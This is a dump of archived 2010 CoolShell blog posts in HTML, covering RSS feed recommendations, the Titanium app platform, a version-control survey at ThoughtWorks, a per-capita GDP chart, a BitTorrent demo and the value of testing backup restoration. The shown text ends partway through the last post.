    "path": "blogs/rss2html/2010-2-8 分享：我的Reader订阅.html",
    "content": "<html><body><p>应网友workout和其他热心读者的要求，我罗列一些自己觉得值得推荐的feed。用纯文字罗列如下，想找到以下的话可以通过Google。希望大家在此互相分享。</p>\n<p>适合读者：广谱技术爱好者，国外互联网信息爱好者，用户行为和设计爱好者， 语言爱好者，阅读狂。</p>\n<p><strong>技术类</strong></p>\n<ul>\n<li>Coding horror</li>\n<li>Joel on software</li>\n<li>unified Python planet</li>\n</ul>\n<p><strong>业界信息</strong></p>\n<ul>\n<li>谷歌黑板报</li>\n<li>Search Blog: Bing</li>\n<li>Search</li>\n<li>百度爱好者</li>\n<li>silicon valley watcher</li>\n<li>Google Blogscoped</li>\n<li>Google Code Blog</li>\n<li>月光博客</li>\n<li>apple4us</li>\n<li>古奥</li>\n<li>望月的博客</li>\n<li>Google Operating System</li>\n</ul>\n<p><strong>杰出个人博客</strong></p>\n<ul>\n<li>Paul Graham Essays</li>\n<li>Pure Pleasure – lixiaolai.com</li>\n<li>The noisy channel</li>\n<li>李开复新浪博客</li>\n<li>韩寒博客</li>\n<li>the trump blog</li>\n<li>Matt Cutts</li>\n<li>Linus blog</li>\n<li>Paul Buchheit (Gmail创始人)</li>\n<li>Peter Norvig (人工智能大儒， Google 研究总监)</li>\n<li>too (Google 创始人博客）</li>\n<li>Alon Halevy’s Blog</li>\n<li>Daniel Lemire’s blog</li>\n<li>Clay Shirky</li>\n<li>Earning My Turns</li>\n<li>How to change the world</li>\n</ul>\n<p><span id=\"more-2105\"></span></p>\n<p><strong>英语学习</strong></p>\n<ul>\n<li>London Review of Books</li>\n<li>New York Review of Books</li>\n</ul>\n<p><strong>研究或学习类</strong></p>\n<ul>\n<li>MIT OpenCourseWare: CS and EE</li>\n<li>Recent Google Publication</li>\n<li>Language Log</li>\n</ul>\n<p><strong>用户体验和设计类</strong></p>\n<ul>\n<li>Mozilla Labs</li>\n<li>Taobao.com UED team blog</li>\n<li>uxday</li>\n<li>Alipay UED</li>\n<li>Aza’s thoughts</li>\n<li>A List Apart</li>\n</ul>\n<p><strong>娱乐消遣类</strong></p>\n<ul>\n<li>the big picture</li>\n<li>煎蛋</li>\n<li>有意思吧</li>\n<li>Lolcats ‘n’ funny pictures</li>\n<li>Drawn! The illustration and cartooning blog</li>\n<li>科学松鼠会</li>\n</ul>\n<p>更多经典种子，亲爱的读者，等你添加。分享是快乐的。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9508.html\"><img alt=\"PFIF网上寻人协议\" height=\"150\" src=\"../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/780.html\"><img alt=\"如何知道某网站运行在GAE上\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/780.html\">如何知道某网站运行在GAE上</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5686.html\"><img alt=\"多些时间能少写些代码\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/15.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5686.html\">多些时间能少写些代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2365.html\"><img alt=\"两个C++的资源\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/6.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2365.html\">两个C++的资源</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2466.html\"><img alt=\"Google吃豆游戏Logo的源码\" height=\"150\" src=\"../wp-content/uploads/2010/05/google_pacman-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2466.html\">Google吃豆游戏Logo的源码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/7.html\"><img alt=\"你应该知道的20个Ajax技术(01-10)\" height=\"150\" src=\"../wp-content/uploads/2009/03/1-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/7.html\">你应该知道的20个Ajax技术(01-10)</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2105.html\">分享：我的Reader订阅</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-3-10 Titanium – 桌面和移动应用开发平台.html",
    "content": "<html><body><p><em><a href=\"http://www.readwriteweb.com/archives/titanium_10_launches_build_native_apps_for_desktop_mobile_ipad.php\">文章来源 www.readwriteweb.com</a></em><em><br/>\n</em></p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/03/PROD_tit_mobile.png\"><img alt=\"\" class=\"alignnone size-full wp-image-2122\" height=\"168\" src=\"../wp-content/uploads/2010/03/PROD_tit_mobile.png\" width=\"248\"/></a></p>\n<p>2010年3月8日，Appcelerator 公司发布了 Titanium 的 1.0 版本。 Titanium 是一个桌面和移动应用程序开发平台，基于此平台，开发人员可以使用标准的 WEB 技术如 HTML，JavaScript，和 CSS 来开发桌面和移动应用程序。</p>\n<p>和其他开发平台所宣传的开发移动应用无需理解本机代码不同， Titanium 允许开发人员使用他们熟悉的编程技术来开发本机（native）移动应用，同时效果和功能与那些使用平台特定语言编写的应用相同，如可以操纵内置相机、播放视频流等等。 Titanium 的产品代码在近几个月内得到了优化，在性能方面得到了多处改进，加载时间由原来的10-20秒下降为3秒，页面切换非常迅速，处理速度提高了5倍。同时还增加了一些新的功能，如超过100个本机界面控件，2D 和 3D 动画及媒体处理机能。有了这些方面的增强，开发人员可以在 Titanium 支持的平台上开发品牌化应用， 休闲游戏， 以及增强现实应用。</p>\n<p>当被问到 Titanium 与其他开发平台的不同之处在哪里时，公司的营销副总裁 Scott Schwarzhoff 解释道：“很多我们的竞争者经仅仅是将 WEB 应用曲解为本机应用提供给客户，而没有提供真正的本机应用解决方案”。提供本机界面（超过100个本机API）的只有我们一家公司，同时我们还提供推通知服务，本机地图，Facebook连接，应用数据分析，增强现实应用，将来还会有更多特性。</p>\n<p>自2009年6月以来，Titanium 开发平台吸引了超过27000名开发人员对公司所谓“本机优势”概念的兴趣（<em><a href=\"http://www.appcelerator.com/products/native-iphone-android-development/\">阅读详情</a></em>）。其中包括对本机控件的支持，基于位置的服务，社交共享，HTML 5，在线和设备内置数据库，集成数据分析，丰富的多媒体等等。</p>\n<p>Appcelerator 承诺在3月份的第三周支持苹果的新平板设备，包括几周后即将发布的 iPad。对黑莓的支持将于五月或六月间发布。Titanium 的社区版本完全免费，专业版本不免费，但是提供技术支持，数据分析以及对新版本的预览。</p>\n<p>Titanium 支持的平台包括： PC， Mac，Linux，最新版本则支持 iPhone 和 Android，Appcelerator 公司即将发布对黑莓和苹果 iPad 的支持。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5265.html\"><img alt=\" C++11 中值得关注的几大变化（详解）\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5265.html\"> C++11 中值得关注的几大变化（详解）</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1178.html\"><img alt=\"Internet 技术演变图\" height=\"150\" src=\"../wp-content/uploads/2009/07/Internet-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1178.html\">Internet 技术演变图</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8088.html\"><img alt=\"对技术的态度\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8088.html\">对技术的态度</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/737.html\"><img alt=\"某Python实现的尾部递归\" height=\"150\" src=\"../wp-content/uploads/2009/04/snake-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/737.html\">某Python实现的尾部递归</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2322.html\"><img alt=\"Unix传奇(上篇)\" height=\"150\" src=\"../wp-content/uploads/2010/04/o_unixrichiethompson-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2322.html\">Unix传奇(上篇)</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2117.html\">Titanium – 桌面和移动应用开发平台</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-3-12 Martin Fowler 在 ThoughtWorks 内部关于版本控制工具的调查.html",
    "content": "<html><body><p><a href=\"http://martinfowler.com/bliki/VcsSurvey.html\"><em>文章来源 martinfowler.com</em></a></p>\n<p>从2010年2月23日至3月3日，Martin Fowler 在 ThoughtWorks 内部通过开发人员邮件列表进行了一个关于版本控制工具的小调查，共收到99个回复。下面是调查选项定义和调查结果：</p>\n<ul>\n<li>非常好 （如果不是最好也非常接近了）</li>\n<li>还行 （不是最好，但是我还是愿意使用）</li>\n<li>问题多多 （我可能会因此强烈建议我的团队使用其他同类工具）</li>\n<li>危险 （非常糟糕的工具，我认为 ThoughtWorks 不应该使用它）</li>\n<li>不知道 （我还没有使用过此工具）</li>\n<li>回复数 （对此工具的回复总数，包括“不知道”选项）</li>\n<li>好评率 （(“非常好”+“还行”)/回复数）</li>\n</ul>\n<table>\n<tbody>\n<tr>\n<th>名称</th>\n<th>非常好</th>\n<th>还行</th>\n<th>问题多多</th>\n<th>危险</th>\n<th>不知道</th>\n<th>回复数</th>\n<th>好评率</th>\n</tr>\n<tr>\n<td><strong>Subversion</strong></td>\n<td>20</td>\n<td>72</td>\n<td>6</td>\n<td>1</td>\n<td>0</td>\n<td>99</td>\n<td>93%</td>\n</tr>\n<tr>\n<td><strong>git</strong></td>\n<td>65</td>\n<td>19</td>\n<td>1</td>\n<td>0</td>\n<td>14</td>\n<td>85</td>\n<td>99%</td>\n</tr>\n<tr>\n<td><strong>Mercurial</strong></td>\n<td>33</td>\n<td>27</td>\n<td>2</td>\n<td>0</td>\n<td>36</td>\n<td>62</td>\n<td>97%</td>\n</tr>\n<tr>\n<td><strong>ClearCase</strong></td>\n<td>0</td>\n<td>3</td>\n<td>14</td>\n<td>41</td>\n<td>41</td>\n<td>58</td>\n<td>5%</td>\n</tr>\n<tr>\n<td><strong>TFS</strong></td>\n<td>0</td>\n<td>0</td>\n<td>32</td>\n<td>22</td>\n<td>44</td>\n<td>54</td>\n<td>0%</td>\n</tr>\n<tr>\n<td><strong>CVS</strong></td>\n<td>0</td>\n<td>14</td>\n<td>59</td>\n<td>11</td>\n<td>15</td>\n<td>84</td>\n<td>17%</td>\n</tr>\n<tr>\n<td><strong>Bazaar</strong></td>\n<td>1</td>\n<td>13</td>\n<td>3</td>\n<td>0</td>\n<td>80</td>\n<td>17</td>\n<td>82%</td>\n</tr>\n<tr>\n<td><strong>Perforce</strong></td>\n<td>1</td>\n<td>26</td>\n<td>16</td>\n<td>1</td>\n<td>54</td>\n<td>44</td>\n<td>61%</td>\n</tr>\n<tr>\n<td><strong>VSS</strong></td>\n<td>1</td>\n<td>1</td>\n<td>11</td>\n<td>64</td>\n<td>22</td>\n<td>77</td>\n<td>3%</td>\n</tr>\n</tbody>\n</table>\n<p>Martin Fowler 补充道：</p>\n<ul>\n<li>Subversion，git，和 Mercurial 都得到了较高的好评率，git 得分最高。</li>\n<li>大部分人认为 VSS 很危险，不过也有一两个人认为它还不错。</li>\n<li>大家都不太喜欢 TFS 和 ClearCase，并认为 ClearCase 更为危险。</li>\n<li>我们不用太拘泥于具体数据，特别是对于那些不好的工具的差评都无太大区别，而对于那些优秀的工具的好评却很有一些不同。</li>\n</ul>\n<p>Martin Fowler 反复强调这只是一个公司内部的调查，并无误导市场的意思，大家如果感兴趣的话可以点击 <em><a href=\"http://martinfowler.com/bliki/VcsSurvey.html\"><em>文章来源</em></a></em> 阅读原文，以及另一篇关于版本控制的文章 <em><a href=\"http://martinfowler.com/bliki/VersionControlTools.html\">VersionControlTools</a></em>。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/4875.html\"><img alt=\"一个空格引发的惨剧\" height=\"150\" src=\"../wp-content/uploads/2011/06/20110620115951113-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/4875.html\">一个空格引发的惨剧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/1283.html\"><img alt=\"Linux基金会的广告\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/27.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/1283.html\">Linux基金会的广告</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/8593.html\"><img alt=\"如何测试洗牌程序\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/28.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/8593.html\">如何测试洗牌程序</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/19996.html\"><img alt=\"Unix 50 年：Ken Thompson 的密码\" height=\"150\" src=\"../wp-content/uploads/2019/11/ken.dennis-300x186-1-150x150.jpeg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/19996.html\">Unix 50 年：Ken Thompson 的密码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/461.html\"><img alt=\"Python处理中文的时候的一些小技巧\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/461.html\">Python处理中文的时候的一些小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/2622.html\"><img alt=\"为什么敏捷方法能在软件开发中行之有效？\" height=\"150\" src=\"../wp-content/uploads/2010/07/Martin-Flower1-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/2622.html\">为什么敏捷方法能在软件开发中行之有效？</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2135.html\">Martin Fowler 在 ThoughtWorks 内部关于版本控制工具的调查</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-3-14 中国仍然是一个很穷的国家.html",
    "content": "<html><body><p>Google最近发布了一个全世界可以开放查询的数据平台，其中包含了多种宏观数据，并且有很方便的作图方式。</p>\n<p><a href=\"http://www.google.com/publicdata/directory\">http://www.google.com/publicdata/directory</a></p>\n<p>其中有一项是<a href=\"http://www.google.com/publicdata/explore?ds=ltjib1m1uf3pf_&amp;ctype=l&amp;met_y=sizegdp_t2&amp;hl=en_US&amp;dl=en_US\">世界各国人均GDP</a></p>\n<p>虽然最近一些中国城市房价已经超越我们的想象力，但是从<a href=\"http://www.google.com/publicdata/explore?ds=ltjib1m1uf3pf_&amp;ctype=l&amp;met_y=sizegdp_t2&amp;hl=en_US&amp;dl=en_US#ctype=l&amp;met_y=sizegdp_t2&amp;scale_y=lin&amp;ind_y=false&amp;rdim=country&amp;idim=country:CHN:IND:DEU:GBR:USA:ZAF:ITA:AUS:CAN:RUS:JPN&amp;hl=en_US&amp;dl=en_US\">这张图</a>里还是可以看到，我们仍是一个人均非常穷的国家。</p>\n<p><a href=\"https://coolshell.cn/wp-content/uploads/2010/03/we-are-still-poor.jpg\"><img alt=\"\" class=\"alignnone size-full wp-image-2180\" height=\"620\" src=\"../wp-content/uploads/2010/03/we-are-still-poor.jpg\" title=\"we are still poor\" width=\"852\"/></a><!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/22398.html\"><img alt=\"我看ChatGPT: 为啥谷歌掉了千亿美金\" height=\"150\" src=\"../wp-content/uploads/2023/02/chatgpt-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/22398.html\">我看ChatGPT: 为啥谷歌掉了千亿美金</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/12136.html\"><img alt=\"Google Inbox如何跨平台重用代码？\" height=\"150\" src=\"../wp-content/uploads/2014/11/inbox2-640x264-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/12136.html\">Google Inbox如何跨平台重用代码？</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/9508.html\"><img alt=\"PFIF网上寻人协议\" height=\"150\" src=\"../wp-content/uploads/2013/04/Google-Person-Finder-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/9508.html\">PFIF网上寻人协议</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5815.html\"><img alt=\"来信， 创业 和 移动互联网\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/2.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5815.html\">来信， 创业 和 移动互联网</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5701.html\"><img alt=\"SteveY对Amazon和Google平台的吐槽\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5701.html\">SteveY对Amazon和Google平台的吐槽</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/5224.html\"><img alt=\"一些文章和各种资源\" height=\"150\" src=\"../wp-content/uploads/2011/09/image008-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/5224.html\">一些文章和各种资源</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2179.html\">中国仍然是一个很穷的国家</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-3-16 BT工作原理演示.html",
    "content": "<html><body><p></p>\n<div class=\"mceTemp\">下面这个网站使用Javascript编写了一个BT工作原理演示动画程序。当然，你可能需要使用Chrome浏览器打开，因为他真的很耗CPU。在我的双核（2GHz）T60电脑上用Chrome打开CPU一下就被耗了50%左右。</div>\n<div class=\"mceTemp\" style=\"text-align: center;\"><a href=\"http://mg8.org/processing/bt.html\">http://mg8.org/processing/bt.html</a></div>\n<div class=\"mceTemp\" style=\"text-align: left;\">下面是我截的一个图，每个圆代表一个结点，其会通过其它结点下载需要的文件段。结点中间的那个Bar有点类似于eDonkey中的下载进度条。至于为什么要用像彩虹一样的颜色，主要是为了让你看到不同的段是从不同的结点下载的。</div>\n<div class=\"mceTemp\" style=\"text-align: left;\">你可以按热键S来加入一个下载完了的结点，用P来加入一下空结点，按R来删除一个结点（有点慢，要等10秒左右吧）。</div>\n<figure class=\"wp-caption alignnone\" id=\"attachment_2185\" style=\"width: 553px;\"><a href=\"https://coolshell.cn/wp-content/uploads/2010/03/bt_js_demo.jpg\"><img alt=\"\" class=\"size-full wp-image-2185\" height=\"499\" src=\"../wp-content/uploads/2010/03/bt_js_demo.jpg\" title=\"BT工作原理演示动画\" width=\"553\"/></a><figcaption class=\"wp-caption-text\" id=\"caption-attachment-2185\">BT工作原理演示动画</figcaption></figure>\n<p>关于其它Javascript的一些小玩意，你可以看看<a href=\"https://coolshell.cn/articles/1932.html\" target=\"_blank\" title=\"哥是玩程序的\">这篇文章</a>。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p align=\"center\"><strong>（转载本站文章请注明作者和出处 <a href=\"https://coolshell.cn/\">酷 壳 – CoolShell</a> ，请勿用于任何商业用途）</strong></p>\n</div>\n<div class=\"wp_rp_wrap wp_rp_vertical_m\"><div class=\"wp_rp_content\"><h3 class=\"related_post_title\">相关文章</h3><ul class=\"related_post wp_rp\"><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/18360.html\"><img alt=\"程序员练级攻略（2018)  与我的专栏\" height=\"150\" src=\"../wp-content/uploads/2018/05/300x262-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/18360.html\">程序员练级攻略（2018)  与我的专栏</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17634.html\"><img alt=\"Chrome开发者工具的小技巧\" height=\"150\" src=\"../wp-content/uploads/2017/01/pretty-code-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17634.html\">Chrome开发者工具的小技巧</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/17524.html\"><img alt=\"如何读懂并写出装逼的函数式代码\" height=\"150\" src=\"../wp-content/uploads/2016/10/drawing-recursive-150x150.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/17524.html\">如何读懂并写出装逼的函数式代码</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10822.html\"><img alt=\"函数式编程\" height=\"150\" src=\"../wp-content/uploads/2013/12/yoda-lambda-150x150.png\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10822.html\">函数式编程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10739.html\"><img alt=\"Lua简明教程\" height=\"150\" src=\"../wp-content/uploads/2013/12/lua-150x150.gif\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10739.html\">Lua简明教程</a></li><li><a class=\"wp_rp_thumbnail\" href=\"https://coolshell.cn/articles/10337.html\"><img alt=\"数据即代码：元驱动编程\" height=\"150\" src=\"https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg\" width=\"150\"/></a><a class=\"wp_rp_title\" href=\"https://coolshell.cn/articles/10337.html\">数据即代码：元驱动编程</a></li></ul></div></div>The post <a href=\"https://coolshell.cn/articles/2184.html\">BT工作原理演示</a> first appeared on <a href=\"https://coolshell.cn\">酷 壳 - CoolShell</a>.</body></html>"
  },
  {
    "path": "blogs/rss2html/2010-3-25 别只谈系统备份，谈谈怎样恢复系统吧！.html",
    "content": "<html><body><p><em><a href=\"http://www.joelonsoftware.com/items/2009/12/14.html\">文章来源 JoelOnSoftware.com</a></em></p>\n<p><em>很久以前就看到这篇文章，它给了我很深刻的印象，搜索了一下 JoelOnSoftware 的中文 Wiki，似乎也没有此文的中文版，那就让酷壳来完成吧。</em></p>\n<ul>\n<li>你备份你的系统了吗？</li>\n<li>你备份服务器了吗？</li>\n<li>你的备份是否存放在另一台机器中？</li>\n<li>你是否有异地备份？</li>\n</ul>\n<p>以上都是非常好的问题，也都是很好的备份习惯。</p>\n<p>不过，让我们别再只谈备份了，因为仅仅备份是远远不够的。资深的系统管理员们都会告诉你他们有完美的备份计划，但是问题往往发生在当你需要恢复系统的时候：</p>\n<ul>\n<li>备份文件被密钥加密，而遗失或损坏的恰恰就是存放密钥的那台机器。</li>\n<li>存放着大量配置信息的 IIS 元数据库恰好没有备份。</li>\n<li>备份文件一直被拷贝到一个限量2GB的FAT分区，多出来的数据被默默地抛弃掉了。</li>\n<li>你的备份都在一个LTO磁带上，磁带已经和数据中心一起遗失或损坏了（911？）。</li>\n<li>即便你有了备份，仍有可能遇到许许多多的意外情况。</li>\n</ul>\n<p>所以，保证基本的系统安全不仅仅取决于你做了备份，还在于你是否能够成功恢复备份。如果你在运营一个 WEB 服务，你需要向我展示你能够在合理的时间内，在一台新的服务器或者是和原来的数据没有任何关系的服务器上，使用近期备份的数据还原出整个网站。</p>\n<p>让我们不要再问人们是否做了系统备份，而是问他们是否能够恢复系统。<!--\n\n\n\n<p align=\"center\"><a href= target=_blank><img decoding=\"async\" src=\"\"></a></p>\n\n\n\n\n\n<p align=\"center\"><img decoding=\"async\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.weixin.jpg\"> <img decoding=\"async\" loading=\"lazy\" src=\"https://coolshell.cn/wp-content/uploads/2020/03/coolshell.mini_.jpg\" width=\"300\" height=\"300\"> <br />关注CoolShell微信公众账号和微信小程序</p>\n\n \n\n--></p>\n<div style=\"margin-top: 15px; font-size: 16px; color: #cc0000;\">\n<p 